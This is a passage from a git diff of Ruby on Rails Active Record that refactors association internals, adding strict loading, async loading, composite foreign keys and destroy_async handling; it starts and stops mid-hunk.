           # Otherwise, we need to use an alias
-          aliased_name = @connection.table_alias_for(aliased_name)
+          aliased_name = table_alias_for(yield)
 
           # Update the count
-          aliases[aliased_name] += 1
+          count = aliases[aliased_name] += 1
 
-          table_alias = if aliases[aliased_name] > 1
-            "#{truncate(aliased_name)}_#{aliases[aliased_name]}"
-          else
-            aliased_name
-          end
-          Arel::Table.new(table_name, type_caster: @type_caster).alias(table_alias)
+          aliased_name = "#{truncate(aliased_name)}_#{count}" if count > 1
+
+          arel_table = arel_table.alias(aliased_name)
         end
+
+        arel_table
       end
 
+      attr_reader :aliases
+
       private
+        def table_alias_for(table_name)
+          table_name[0...@table_alias_length].tr(".", "_")
+        end
 
         def truncate(name)
-          name.slice(0, @connection.table_alias_length - 2)
+          name.slice(0, @table_alias_length - 2)
         end
     end
   end
diff --git a/activerecord/lib/active_record/associations/association.rb b/activerecord/lib/active_record/associations/association.rb
index 84d0493a60d50..7b634d698e10f 100644
--- a/activerecord/lib/active_record/associations/association.rb
+++ b/activerecord/lib/active_record/associations/association.rb
@@ -1,4 +1,4 @@
-require "active_support/core_ext/array/wrap"
+# frozen_string_literal: true
 
 module ActiveRecord
   module Associations
@@ -15,9 +15,26 @@ module Associations
     #     CollectionAssociation
     #       HasManyAssociation + ForeignAssociation
     #         HasManyThroughAssociation + ThroughAssociation
-    class Association #:nodoc:
-      attr_reader :owner, :target, :reflection
-      attr_accessor :inversed
+    #
+    # Associations in Active Record are middlemen between the object that
+    # holds the association, known as the <tt>owner</tt>, and the associated
+    # result set, known as the <tt>target</tt>. Association metadata is available in
+    # <tt>reflection</tt>, which is an instance of +ActiveRecord::Reflection::AssociationReflection+.
+    #
+    # For example, given
+    #
+    #   class Blog < ActiveRecord::Base
+    #     has_many :posts
+    #   end
+    #
+    #   blog = Blog.first
+    #
+    # The association of <tt>blog.posts</tt> has the object +blog+ as its
+    # <tt>owner</tt>, the collection of its posts as <tt>target</tt>, and
+    # the <tt>reflection</tt> object represents a <tt>:has_many</tt> macro.
+    class Association # :nodoc:
+      attr_accessor :owner
+      attr_reader :reflection, :disable_joins
 
       delegate :options, to: :reflection
 
@@ -25,29 +42,35 @@ def initialize(owner, reflection)
         reflection.check_validity!
 
         @owner, @reflection = owner, reflection
+        @disable_joins = @reflection.options[:disable_joins] || false
 
         reset
         reset_scope
+
+        @skip_strict_loading = nil
       end
 
-      # Returns the name of the table of the associated class:
-      #
-      #   post.comments.aliased_table_name # => "comments"
-      #
-      def aliased_table_name
-        klass.table_name
+      def target
+        if @target.is_a?(Promise)
+          @target = @target.value
+        end
+        @target
       end
 
       # Resets the \loaded flag to +false+ and sets the \target to +nil+.
       def reset
         @loaded = false
-        @target = nil
         @stale_state = nil
-        @inversed = false
+      end
+
+      def reset_negative_cache # :nodoc:
+        reset if loaded? && target.nil?
       end
 
       # Reloads the \target and returns +self+ on success.
-      def reload
+      # The QueryCache is cleared if +force+ is true.
+      def reload(force = false)
+        klass.connection_pool.clear_query_cache if force && klass
         reset
         reset_scope
         load_target
@@ -63,7 +86,6 @@ def loaded?
       def loaded!
         @loaded = true
         @stale_state = stale_state
-        @inversed = false
       end
 
       # The target is stale if the target no longer points to the record(s) that the
@@ -73,7 +95,7 @@ def loaded!
       #
       # Note that if the target has not been loaded, it is not considered stale.
       def stale_target?
-        !inversed && loaded? && @stale_state != stale_state
+        loaded? && @stale_state != stale_state
       end
 
       # Sets the target of this association to <tt>\target</tt>, and the \loaded flag to +true+.
@@ -83,18 +105,14 @@ def target=(target)
       end
 
       def scope
-        target_scope.merge(association_scope)
-      end
-
-      # The scope for this association.
-      #
-      # Note that the association_scope is merged into the target_scope only when the
-      # scope method is called. This is because at that point the call may be surrounded
-      # by scope.scoping { ... } or with_scope { ... } etc, which affects the scope which
-      # actually gets built.
-      def association_scope
-        if klass
-          @association_scope ||= AssociationScope.scope(self, klass.connection)
+        if disable_joins
+          DisableJoinsAssociationScope.create.scope(self)
+        elsif (scope = klass.current_scope) && scope.try(:proxy_association) == self
+          scope.spawn
+        elsif scope = klass.global_current_scope
+          target_scope.merge!(association_scope).merge!(scope)
+        else
+          target_scope.merge!(association_scope)
         end
       end
 
@@ -102,22 +120,43 @@ def reset_scope
         @association_scope = nil
       end
 
+      def set_strict_loading(record)
+        if owner.strict_loading_n_plus_one_only? && reflection.macro == :has_many
+          record.strict_loading!
+        else
+          record.strict_loading!(false, mode: owner.strict_loading_mode)
+        end
+      end
+
       # Set the inverse association, if possible
       def set_inverse_instance(record)
-        if invertible_for?(record)
-          inverse = record.association(inverse_reflection_for(record).name)
-          inverse.target = owner
-          inverse.inversed = true
+        if inverse = inverse_association_for(record)
+          inverse.inversed_from(owner)
+        end
+        record
+      end
+
+      def set_inverse_instance_from_queries(record)
+        if inverse = inverse_association_for(record)
+          inverse.inversed_from_queries(owner)
         end
         record
       end
 
       # Remove the inverse association, if possible
       def remove_inverse_instance(record)
-        if invertible_for?(record)
-          inverse = record.association(inverse_reflection_for(record).name)
-          inverse.target = nil
-          inverse.inversed = false
+        if inverse = inverse_association_for(record)
+          inverse.inversed_from(nil)
+        end
+      end
+
+      def inversed_from(record)
+        self.target = record
+      end
+
+      def inversed_from_queries(record)
+        if inversable?(record)
+          self.target = record
         end
       end
 
@@ -127,10 +166,14 @@ def klass
         reflection.klass
       end
 
-      # Can be overridden (i.e. in ThroughAssociation) to merge in other scopes (i.e. the
-      # through association's scope)
-      def target_scope
-        AssociationRelation.create(klass, klass.arel_table, klass.predicate_builder, self).merge!(klass.all)
+      def extensions
+        extensions = klass.default_extensions | reflection.extensions
+
+        if reflection.scope
+          extensions |= reflection.scope_for(klass.unscoped, owner).extensions
+        end
+
+        extensions
       end
 
       # Loads the \target if needed and returns it.
@@ -144,7 +187,7 @@ def target_scope
       # ActiveRecord::RecordNotFound is rescued within the method, and it is
       # not reraised. The proxy is \reset and +nil+ is the return value.
       def load_target
-        @target = find_target if (@stale_state && stale_target?) || find_target?
+        @target = find_target(async: false) if (@stale_state && stale_target?) || find_target?
 
         loaded! unless loaded?
         target
@@ -152,17 +195,16 @@ def load_target
         reset
       end
 
-      def interpolate(sql, record = nil)
-        if sql.respond_to?(:to_proc)
-          owner.instance_exec(record, &sql)
-        else
-          sql
-        end
+      def async_load_target # :nodoc:
+        @target = find_target(async: true) if (@stale_state && stale_target?) || find_target?
+
+        loaded! unless loaded?
+        nil
       end
 
-      # We can't dump @reflection since it contains the scope proc
+      # We can't dump @reflection and @through_reflection since it contains the scope proc
       def marshal_dump
-        ivars = (instance_variables - [:@reflection]).map { |name| [name, instance_variable_get(name)] }
+        ivars = (instance_variables - [:@reflection, :@through_reflection]).map { |name| [name, instance_variable_get(name)] }
         [@reflection.name, ivars]
       end
 
@@ -172,47 +214,111 @@ def marshal_load(data)
         @reflection = @owner.class._reflect_on_association(reflection_name)
       end
 
-      def initialize_attributes(record, except_from_scope_attributes = nil) #:nodoc:
+      def initialize_attributes(record, except_from_scope_attributes = nil) # :nodoc:
         except_from_scope_attributes ||= {}
         skip_assign = [reflection.foreign_key, reflection.type].compact
         assigned_keys = record.changed_attribute_names_to_save
         assigned_keys += except_from_scope_attributes.keys.map(&:to_s)
-        attributes = create_scope.except(*(assigned_keys - skip_assign))
-        record.assign_attributes(attributes)
+        attributes = scope_for_create.except!(*(assigned_keys - skip_assign))
+        record.send(:_assign_attributes, attributes) if attributes.any?
         set_inverse_instance(record)
       end
 
-      def create(attributes = {}, &block)
+      def create(attributes = nil, &block)
         _create_record(attributes, &block)
       end
 
-      def create!(attributes = {}, &block)
+      def create!(attributes = nil, &block)
         _create_record(attributes, true, &block)
       end
 
+      # Whether the association represents a single record
+      # or a collection of records.
+      def collection?
+        false
+      end
+
       private
+        # Reader and writer methods call this so that consistent errors are presented
+        # when the association target class does not exist.
+        def ensure_klass_exists!
+          klass
+        end
 
-        def find_target?
-          !loaded? && (!owner.new_record? || foreign_key_present?) && klass
+        def find_target(async: false)
+          if violates_strict_loading?
+            Base.strict_loading_violation!(owner: owner.class, reflection: reflection)
+          end
+
+          scope = self.scope
+          if skip_statement_cache?(scope)
+            if async
+              return scope.load_async.then(&:to_a)
+            else
+              return scope.to_a
+            end
+          end
+
+          sc = reflection.association_scope_cache(klass, owner) do |params|
+            as = AssociationScope.create { params.bind }
+            target_scope.merge!(as.scope(self))
+          end
+
+          binds = AssociationScope.get_bind_values(owner, reflection.chain)
+          klass.with_connection do |c|
+            sc.execute(binds, c, async: async) do |record|
+              set_inverse_instance(record)
+              set_strict_loading(record)
+            end
+          end
         end
 
-        def creation_attributes
-          attributes = {}
+        def skip_strict_loading(&block)
+          skip_strict_loading_was = @skip_strict_loading
+          @skip_strict_loading = true
+          yield
+        ensure
+          @skip_strict_loading = skip_strict_loading_was
+        end
 
-          if (reflection.has_one? || reflection.collection?) && !options[:through]
-            attributes[reflection.foreign_key] = owner[reflection.active_record_primary_key]
+        def violates_strict_loading?
+          return if @skip_strict_loading
+
+          return unless owner.validation_context.nil?
+
+          return reflection.strict_loading? if reflection.options.key?(:strict_loading)
+
+          owner.strict_loading? && !owner.strict_loading_n_plus_one_only?
+        end
 
-            if reflection.options[:as]
-              attributes[reflection.type] = owner.class.base_class.name
+        # The scope for this association.
+        #
+        # Note that the association_scope is merged into the target_scope only when the
+        # scope method is called. This is because at that point the call may be surrounded
+        # by scope.scoping { ... } or unscoped { ... } etc, which affects the scope which
+        # actually gets built.
+        def association_scope
+          if klass
+            @association_scope ||= if disable_joins
+              DisableJoinsAssociationScope.scope(self)
+            else
+              AssociationScope.scope(self)
             end
           end
+        end
 
-          attributes
+        # Can be overridden (i.e. in ThroughAssociation) to merge in other scopes (i.e. the
+        # through association's scope)
+        def target_scope
+          AssociationRelation.create(klass, self).merge!(klass.scope_for_association)
         end
 
-        # Sets the owner attributes on the given record
-        def set_owner_attributes(record)
-          creation_attributes.each { |key, value| record[key] = value }
+        def scope_for_create
+          scope.scope_for_create
+        end
+
+        def find_target?
+          !loaded? && (!owner.new_record? || foreign_key_present?) && klass
         end
 
         # Returns true if there is a foreign key present on the owner which
@@ -229,7 +335,7 @@ def foreign_key_present?
 
         # Raises ActiveRecord::AssociationTypeMismatch unless +record+ is of
         # the kind of the class of the associated objects. Meant to be used as
-        # a sanity check when you are about to assign an associated record.
+        # a safety check when you are about to assign an associated record.
         def raise_on_type_mismatch!(record)
           unless record.is_a?(reflection.klass)
             fresh_class = reflection.class_name.safe_constantize
@@ -241,6 +347,12 @@ def raise_on_type_mismatch!(record)
           end
         end
 
+        def inverse_association_for(record)
+          if invertible_for?(record)
+            record.association(inverse_reflection_for(record).name)
+          end
+        end
+
         # Can be redefined by subclasses, notably polymorphic belongs_to
         # The record parameter is necessary to support polymorphic inverses as we must check for
         # the association in the specific class of the record.
@@ -256,7 +368,8 @@ def invertible_for?(record)
 
         # Returns true if record contains the foreign_key
         def foreign_key_for?(record)
-          record.has_attribute?(reflection.foreign_key)
+          foreign_key = Array(reflection.foreign_key)
+          foreign_key.all? { |key| record._has_attribute?(key) }
         end
 
         # This should be implemented to return the values of the relevant key(s) on the owner,
@@ -270,16 +383,39 @@ def stale_state
         def build_record(attributes)
           reflection.build_association(attributes) do |record|
             initialize_attributes(record, attributes)
+            yield(record) if block_given?
           end
         end
 
         # Returns true if statement cache should be skipped on the association reader.
-        def skip_statement_cache?
+        def skip_statement_cache?(scope)
           reflection.has_scope? ||
             scope.eager_loading? ||
             klass.scope_attributes? ||
             reflection.source_reflection.active_record.default_scopes.any?
         end
+
+        def enqueue_destroy_association(options)
+          job_class = owner.class.destroy_association_async_job
+
+          if job_class
+            owner._after_commit_jobs.push([job_class, options])
+          end
+        end
+
+        def inversable?(record)
+          record &&
+            ((!record.persisted? || !owner.persisted?) || matches_foreign_key?(record))
+        end
+
+        def matches_foreign_key?(record)
+          if foreign_key_for?(record)
+            record.read_attribute(reflection.foreign_key) == owner.id ||
+              (foreign_key_for?(owner) && owner.read_attribute(reflection.foreign_key) == record.id)
+          else
+            owner.read_attribute(reflection.foreign_key) == record.id
+          end
+        end
     end
   end
 end
diff --git a/activerecord/lib/active_record/associations/association_scope.rb b/activerecord/lib/active_record/associations/association_scope.rb
index badde9973ff6e..e16d2a74e5fad 100644
--- a/activerecord/lib/active_record/associations/association_scope.rb
+++ b/activerecord/lib/active_record/associations/association_scope.rb
@@ -1,8 +1,10 @@
+# frozen_string_literal: true
+
 module ActiveRecord
   module Associations
-    class AssociationScope #:nodoc:
-      def self.scope(association, connection)
-        INSTANCE.scope(association, connection)
+    class AssociationScope # :nodoc:
+      def self.scope(association)
+        INSTANCE.scope(association)
       end
 
       def self.create(&block)
@@ -16,61 +18,57 @@ def initialize(value_transformation)
 
       INSTANCE = create
 
-      def scope(association, connection)
+      def scope(association)
         klass = association.klass
         reflection = association.reflection
         scope = klass.unscoped
         owner = association.owner
-        alias_tracker = AliasTracker.create connection, association.klass.table_name, klass.type_caster
-        chain_head, chain_tail = get_chain(reflection, association, alias_tracker)
-
-        scope.extending! Array(reflection.options[:extend])
-        add_constraints(scope, owner, klass, reflection, chain_head, chain_tail)
-      end
+        chain = get_chain(reflection, association, scope.alias_tracker)
 
-      def join_type
-        Arel::Nodes::InnerJoin
+        scope.extending! reflection.extensions
+        scope = add_constraints(scope, owner, chain)
+        scope.limit!(1) unless reflection.collection?
+        scope
       end
 
       def self.get_bind_values(owner, chain)
         binds = []
         last_reflection = chain.last
 
-        binds << last_reflection.join_id_for(owner)
+        binds.push(*last_reflection.join_id_for(owner))
         if last_reflection.type
-          binds << owner.class.base_class.name
+          binds << owner.class.polymorphic_name
         end
 
         chain.each_cons(2).each do |reflection, next_reflection|
           if reflection.type
-            binds << next_reflection.klass.base_class.name
+            binds << next_reflection.klass.polymorphic_name
           end
         end
         binds
       end
 
-      # TODO Change this to private once we've dropped Ruby 2.2 support.
-      # Workaround for Ruby 2.2 "private attribute?" warning.
-      protected
-
+      private
         attr_reader :value_transformation
 
-      private
         def join(table, constraint)
-          table.create_join(table, table.create_on(constraint), join_type)
+          Arel::Nodes::LeadingJoin.new(table, Arel::Nodes::On.new(constraint))
         end
 
-        def last_chain_scope(scope, table, reflection, owner, association_klass)
-          join_keys = reflection.join_keys(association_klass)
-          key = join_keys.key
-          foreign_key = join_keys.foreign_key
+        def last_chain_scope(scope, reflection, owner)
+          primary_key = Array(reflection.join_primary_key)
+          foreign_key = Array(reflection.join_foreign_key)
 
-          value = transform_value(owner[foreign_key])
-          scope = scope.where(table.name => { key => value })
+          table = reflection.aliased_table
+          primary_key_foreign_key_pairs = primary_key.zip(foreign_key)
+          primary_key_foreign_key_pairs.each do |join_key, foreign_key|
+            value = transform_value(owner._read_attribute(foreign_key))
+            scope = apply_scope(scope, table, join_key, value)
+          end
 
           if reflection.type
-            polymorphic_type = transform_value(owner.class.base_class.name)
-            scope = scope.where(table.name => { reflection.type => polymorphic_type })
+            polymorphic_type = transform_value(owner.class.polymorphic_name)
+            scope = apply_scope(scope, table, reflection.type, polymorphic_type)
           end
 
           scope
@@ -80,28 +78,32 @@ def transform_value(value)
           value_transformation.call(value)
         end
 
-        def next_chain_scope(scope, table, reflection, association_klass, foreign_table, next_reflection)
-          join_keys = reflection.join_keys(association_klass)
-          key = join_keys.key
-          foreign_key = join_keys.foreign_key
+        def next_chain_scope(scope, reflection, next_reflection)
+          primary_key = Array(reflection.join_primary_key)
+          foreign_key = Array(reflection.join_foreign_key)
 
-          constraint = table[key].eq(foreign_table[foreign_key])
+          table = reflection.aliased_table
+          foreign_table = next_reflection.aliased_table
+
+          primary_key_foreign_key_pairs = primary_key.zip(foreign_key)
+          constraints = primary_key_foreign_key_pairs.map do |join_primary_key, foreign_key|
+            table[join_primary_key].eq(foreign_table[foreign_key])
+          end.inject(&:and)
 
           if reflection.type
-            value = transform_value(next_reflection.klass.base_class.name)
-            scope = scope.where(table.name => { reflection.type => value })
+            value = transform_value(next_reflection.klass.polymorphic_name)
+            scope = apply_scope(scope, table, reflection.type, value)
           end
 
-          scope = scope.joins(join(foreign_table, constraint))
+          scope.joins!(join(foreign_table, constraints))
         end
 
         class ReflectionProxy < SimpleDelegator # :nodoc:
-          attr_accessor :next
-          attr_reader :alias_name
+          attr_reader :aliased_table
 
-          def initialize(reflection, alias_name)
+          def initialize(reflection, aliased_table)
             super(reflection)
-            @alias_name = alias_name
+            @aliased_table = aliased_table
           end
 
           def all_includes; nil; end
@@ -109,59 +111,64 @@ def all_includes; nil; end
 
         def get_chain(reflection, association, tracker)
           name = reflection.name
-          runtime_reflection = Reflection::RuntimeReflection.new(reflection, association)
-          previous_reflection = runtime_reflection
+          chain = [Reflection::RuntimeReflection.new(reflection, association)]
           reflection.chain.drop(1).each do |refl|
-            alias_name = tracker.aliased_table_for(refl.table_name, refl.alias_candidate(name))
-            proxy = ReflectionProxy.new(refl, alias_name)
-            previous_reflection.next = proxy
-            previous_reflection = proxy
+            aliased_table = tracker.aliased_table_for(refl.klass.arel_table) do
+              refl.alias_candidate(name)
+            end
+            chain << ReflectionProxy.new(refl, aliased_table)
           end
-          [runtime_reflection, previous_reflection]
+          chain
         end
 
-        def add_constraints(scope, owner, association_klass, refl, chain_head, chain_tail)
-          owner_reflection = chain_tail
-          table = owner_reflection.alias_name
-          scope = last_chain_scope(scope, table, owner_reflection, owner, association_klass)
+        def add_constraints(scope, owner, chain)
+          scope = last_chain_scope(scope, chain.last, owner)
 
-          reflection = chain_head
-          while reflection
-            table = reflection.alias_name
-            next_reflection = reflection.next
-
-            unless reflection == chain_tail
-              foreign_table = next_reflection.alias_name
-              scope = next_chain_scope(scope, table, reflection, association_klass, foreign_table, next_reflection)
-            end
+          chain.each_cons(2) do |reflection, next_reflection|
+            scope = next_chain_scope(scope, reflection, next_reflection)
+          end
 
-            # Exclude the scope of the association itself, because that
-            # was already merged in the #scope method.
+          chain_head = chain.first
+          chain.reverse_each do |reflection|
             reflection.constraints.each do |scope_chain_item|
-              item = eval_scope(reflection.klass, table, scope_chain_item, owner)
+              item = eval_scope(reflection, scope_chain_item, owner)
+
+              if scope_chain_item == chain_head.scope
+                scope.merge! item.except(:where, :includes, :unscope, :order)
+              elsif !item.references_values.empty?
+                scope.merge! item.only(:joins, :left_outer_joins)
+
+                associations = item.eager_load_values | item.includes_values
 
-              if scope_chain_item == refl.scope
-                scope.merge! item.except(:where, :includes)
+                unless associations.empty?
+                  scope.joins! item.construct_join_dependency(associations, Arel::Nodes::OuterJoin)
+                end
               end
 
               reflection.all_includes do
-                scope.includes! item.includes_values
+                scope.includes_values |= item.includes_values
               end
 
               scope.unscope!(*item.unscope_values)
               scope.where_clause += item.where_clause
-              scope.order_values |= item.order_values
+              scope.order_values = item.order_values | scope.order_values
             end
-
-            reflection = next_reflection
           end
 
           scope
         end
 
-        def eval_scope(klass, table, scope, owner)
-          predicate_builder = PredicateBuilder.new(TableMetadata.new(klass, table))
-          ActiveRecord::Relation.create(klass, table, predicate_builder).instance_exec(owner, &scope)
+        def apply_scope(scope, table, key, value)
+          if scope.table == table
+            scope.where!(key => value)
+          else
+            scope.where!(table.name => { key => value })
+          end
+        end
+
+        def eval_scope(reflection, scope, owner)
+          relation = reflection.build_scope(reflection.aliased_table)
+          relation.instance_exec(owner, &scope) || relation
         end
     end
   end
diff --git a/activerecord/lib/active_record/associations/belongs_to_association.rb b/activerecord/lib/active_record/associations/belongs_to_association.rb
index 64b23119115bd..f8e9c91502df9 100644
--- a/activerecord/lib/active_record/associations/belongs_to_association.rb
+++ b/activerecord/lib/active_record/associations/belongs_to_association.rb
@@ -1,24 +1,50 @@
+# frozen_string_literal: true
+
 module ActiveRecord
-  # = Active Record Belongs To Association
   module Associations
-    class BelongsToAssociation < SingularAssociation #:nodoc:
+    # = Active Record Belongs To Association
+    class BelongsToAssociation < SingularAssociation # :nodoc:
       def handle_dependency
-        target.send(options[:dependent]) if load_target
-      end
+        return unless load_target
+
+        case options[:dependent]
+        when :destroy
+          raise ActiveRecord::Rollback unless target.destroy
+        when :destroy_async
+          if reflection.foreign_key.is_a?(Array)
+            primary_key_column = reflection.active_record_primary_key
+            id = reflection.foreign_key.map { |col| owner.public_send(col) }
+          else
+            primary_key_column = reflection.active_record_primary_key
+            id = owner.public_send(reflection.foreign_key)
+          end
 
-      def replace(record)
-        if record
-          raise_on_type_mismatch!(record)
-          update_counters_on_replace(record)
-          replace_keys(record)
-          set_inverse_instance(record)
-          @updated = true
+          association_class = if reflection.polymorphic?
+            owner.public_send(reflection.foreign_type)
+          else
+            reflection.klass
+          end
+
+          enqueue_destroy_association(
+            owner_model_name: owner.class.to_s,
+            owner_id: owner.id,
+            association_class: association_class.to_s,
+            association_ids: [id],
+            association_primary_key_column: primary_key_column,
+            ensuring_owner_was_method: options.fetch(:ensuring_owner_was, nil)
+          )
         else
-          decrement_counters
-          remove_keys
+          target.public_send(options[:dependent])
         end
+      end
+
+      def inversed_from(record)
+        replace_keys(record)
+        super
+      end
 
-        self.target = record
+      def default(&block)
+        writer(owner.instance_exec(&block)) if reader.nil?
       end
 
       def reset
@@ -30,26 +56,71 @@ def updated?
         @updated
       end
 
-      def decrement_counters # :nodoc:
+      def decrement_counters
         update_counters(-1)
       end
 
-      def increment_counters # :nodoc:
+      def increment_counters
         update_counters(1)
       end
 
+      def decrement_counters_before_last_save
+        if reflection.polymorphic?
+          model_type_was = owner.attribute_before_last_save(reflection.foreign_type)
+          model_was = owner.class.polymorphic_class_for(model_type_was) if model_type_was
+        else
+          model_was = klass
+        end
+
+        foreign_key_was = owner.attribute_before_last_save(reflection.foreign_key)
+
+        if foreign_key_was && model_was < ActiveRecord::Base
+          update_counters_via_scope(model_was, foreign_key_was, -1)
+        end
+      end
+
+      def target_changed?
+        owner.attribute_changed?(reflection.foreign_key) || (!foreign_key_present? && target&.new_record?)
+      end
+
+      def target_previously_changed?
+        owner.attribute_previously_changed?(reflection.foreign_key)
+      end
+
+      def saved_change_to_target?
+        owner.saved_change_to_attribute?(reflection.foreign_key)
+      end
+
       private
+        def replace(record)
+          if record
+            raise_on_type_mismatch!(record)
+            set_inverse_instance(record)
+            @updated = true
+          elsif target
+            remove_inverse_instance(target)
+          end
+
+          replace_keys(record, force: true)
+
+          self.target = record
+        end
 
         def update_counters(by)
           if require_counter_update? && foreign_key_present?
             if target && !stale_target?
-              target.increment!(reflection.counter_cache_column, by)
+              target.increment!(reflection.counter_cache_column, by, touch: reflection.options[:touch])
             else
-              klass.update_counters(target_id, reflection.counter_cache_column => by)
+              update_counters_via_scope(klass, owner._read_attribute(reflection.foreign_key), by)
             end
           end
         end
 
+        def update_counters_via_scope(klass, foreign_key, by)
+          scope = klass.unscoped.where!(primary_key(klass) => foreign_key)
+          scope.update_counters(reflection.counter_cache_column => by, touch: reflection.options[:touch])
+        end
+
         def find_target?
           !loaded? && foreign_key_present? && klass
         end
@@ -58,50 +129,51 @@ def require_counter_update?
           reflection.counter_cache_column && owner.persisted?
         end
 
-        def update_counters_on_replace(record)
-          if require_counter_update? && different_target?(record)
-            owner.instance_variable_set :@_after_replace_counter_called, true
-            record.increment!(reflection.counter_cache_column)
-            decrement_counters
-          end
-        end
-
-        # Checks whether record is different to the current target, without loading it
-        def different_target?(record)
-          record.id != owner._read_attribute(reflection.foreign_key)
-        end
+        def replace_keys(record, force: false)
+          reflection_fk = reflection.foreign_key
+          if reflection_fk.is_a?(Array)
+            target_key_values = record ? Array(primary_key(record.class)).map { |key| record._read_attribute(key) } : []
+
+            if force || reflection_fk.map { |fk| owner._read_attribute(fk) } != target_key_values
+              owner_pk = Array(owner.class.primary_key)
+              reflection_fk.each_with_index do |key, index|
+                next if record.nil? && owner_pk.include?(key)
+                owner[key] = target_key_values[index]
+              end
+            end
+          else
+            target_key_value = record ? record._read_attribute(primary_key(record.class)) : nil
 
-        def replace_keys(record)
-          owner[reflection.foreign_key] = record._read_attribute(reflection.association_primary_key(record.class))
+            if force || owner._read_attribute(reflection_fk) != target_key_value
+              owner[reflection_fk] = target_key_value
+            end
+          end
         end
 
-        def remove_keys
-          owner[reflection.foreign_key] = nil
+        def primary_key(klass)
+          reflection.association_primary_key(klass)
         end
 
         def foreign_key_present?
-          owner._read_attribute(reflection.foreign_key)
+          Array(reflection.foreign_key).all? { |fk| owner._read_attribute(fk) }
         end
 
-        # NOTE - for now, we're only supporting inverse setting from belongs_to back onto
-        # has_one associations.
         def invertible_for?(record)
           inverse = inverse_reflection_for(record)
-          inverse && inverse.has_one?
+          inverse && (inverse.has_one? || inverse.klass.has_many_inversing)
         end
 
-        def target_id
-          if options[:primary_key]
-            owner.send(reflection.name).try(:id)
+        def stale_state
+          foreign_key = reflection.foreign_key
+          if foreign_key.is_a?(Array)
+            attributes = foreign_key.map do |fk|
+              owner._read_attribute(fk) { |n| owner.send(:missing_attribute, n, caller) }
+            end
+            attributes if attributes.any?
           else
-            owner._read_attribute(reflection.foreign_key)
+            owner._read_attribute(foreign_key) { |n| owner.send(:missing_attribute, n, caller) }
           end
         end
-
-        def stale_state
-          result = owner._read_attribute(reflection.foreign_key) { |n| owner.send(:missing_attribute, n, caller) }
-          result && result.to_s
-        end
     end
   end
 end
diff --git a/activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb b/activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb
index b710cf6bdb697..a6e5ee3b03c10 100644
--- a/activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb
+++ b/activerecord/lib/active_record/associations/belongs_to_polymorphic_association.rb
@@ -1,26 +1,35 @@
+# frozen_string_literal: true
+
 module ActiveRecord
-  # = Active Record Belongs To Polymorphic Association
   module Associations
-    class BelongsToPolymorphicAssociation < BelongsToAssociation #:nodoc:
+    # = Active Record Belongs To Polymorphic Association
+    class BelongsToPolymorphicAssociation < BelongsToAssociation # :nodoc:
       def klass
         type = owner[reflection.foreign_type]
-        type.presence && type.constantize
+        type.presence && owner.class.polymorphic_class_for(type)
       end
 
-      private
+      def target_changed?
+        super || owner.attribute_changed?(reflection.foreign_type)
+      end
 
-        def replace_keys(record)
-          super
-          owner[reflection.foreign_type] = record.class.base_class.name
-        end
+      def target_previously_changed?
+        super || owner.attribute_previously_changed?(reflection.foreign_type)
+      end
 
-        def remove_keys
+      def saved_change_to_target?
+        super || owner.saved_change_to_attribute?(reflection.foreign_type)
+      end
+
+      private
+        def replace_keys(record, force: false)
           super
-          owner[reflection.foreign_type] = nil
-        end
 
-        def different_target?(record)
-          super || record.class != klass
+          target_type = record ? record.class.polymorphic_name : nil
+
+          if force || owner._read_attribute(reflection.foreign_type) != target_type
+            owner[reflection.foreign_type] = target_type
+          end
         end
 
         def inverse_reflection_for(record)
@@ -32,8 +41,9 @@ def raise_on_type_mismatch!(record)
         end
 
         def stale_state
-          foreign_key = super
-          foreign_key && [foreign_key.to_s, owner[reflection.foreign_type].to_s]
+          if foreign_key = super
+            [foreign_key, owner[reflection.foreign_type]]
+          end
         end
     end
   end
diff --git a/activerecord/lib/active_record/associations/builder/association.rb b/activerecord/lib/active_record/associations/builder/association.rb
index d0534056d956b..65a84bb531422 100644
--- a/activerecord/lib/active_record/associations/builder/association.rb
+++ b/activerecord/lib/active_record/associations/builder/association.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 # This is the parent Association class which defines the variables
 # used by all associations.
 #
@@ -10,13 +12,15 @@
 #      - HasManyAssociation
 
 module ActiveRecord::Associations::Builder # :nodoc:
-  class Association #:nodoc:
+  class Association # :nodoc:
     class << self
       attr_accessor :extensions
     end
     self.extensions = []
 
-    VALID_OPTIONS = [:class_name, :anonymous_class, :foreign_key, :validate] # :nodoc:
+    VALID_OPTIONS = [
+      :anonymous_class, :primary_key, :foreign_key, :dependent, :validate, :inverse_of, :strict_loading, :query_constraints, :deprecated
+    ].freeze # :nodoc:
 
     def self.build(model, name, scope, options, &block)
       if model.dangerous_attribute_method?(name)
@@ -25,45 +29,33 @@ def self.build(model, name, scope, options, &block)
                              "Please choose a different association name."
       end
 
-      extension = define_extensions model, name, &block
-      reflection = create_reflection model, name, scope, options, extension
-      define_accessors model, reflection
-      define_callbacks model, reflection
-      define_validations model, reflection
+      reflection = create_reflection(model, name, scope, options, &block)
+      define_accessors(model, reflection)
+      define_callbacks(model, reflection)
+      define_validations(model, reflection)
+      define_change_tracking_methods(model, reflection)
       reflection
     end
 
-    def self.create_reflection(model, name, scope, options, extension = nil)
+    def self.create_reflection(model, name, scope, options, &block)
       raise ArgumentError, "association names must be a Symbol" unless name.kind_of?(Symbol)
 
-      if scope.is_a?(Hash)
-        options = scope
-        scope   = nil
-      end
-
       validate_options(options)
 
-      scope = build_scope(scope, extension)
+      extension = define_extensions(model, name, &block)
+      options[:extend] = [*options[:extend], extension] if extension
+
+      scope = build_scope(scope)
 
       ActiveRecord::Reflection.create(macro, name, scope, options, model)
     end
 
-    def self.build_scope(scope, extension)
-      new_scope = scope
-
+    def self.build_scope(scope)
       if scope && scope.arity == 0
-        new_scope = proc { instance_exec(&scope) }
-      end
-
-      if extension
-        new_scope = wrap_scope new_scope, extension
+        proc { instance_exec(&scope) }
+      else
+        scope
       end
-
-      new_scope
-    end
-
-    def self.wrap_scope(scope, extension)
-      scope
     end
 
     def self.macro
@@ -79,16 +71,18 @@ def self.validate_options(options)
     end
 
     def self.define_extensions(model, name)
+      # noop
     end
 
     def self.define_callbacks(model, reflection)
       if dependent = reflection.options[:dependent]
-        check_dependent_options(dependent)
+        check_dependent_options(dependent, model)
         add_destroy_callbacks(model, reflection)
+        add_after_commit_jobs_callback(model, dependent)
       end
 
       Association.extensions.each do |extension|
-        extension.build model, reflection
+        extension.build(model, reflection)
       end
     end
 
@@ -107,8 +101,10 @@ def self.define_accessors(model, reflection)
 
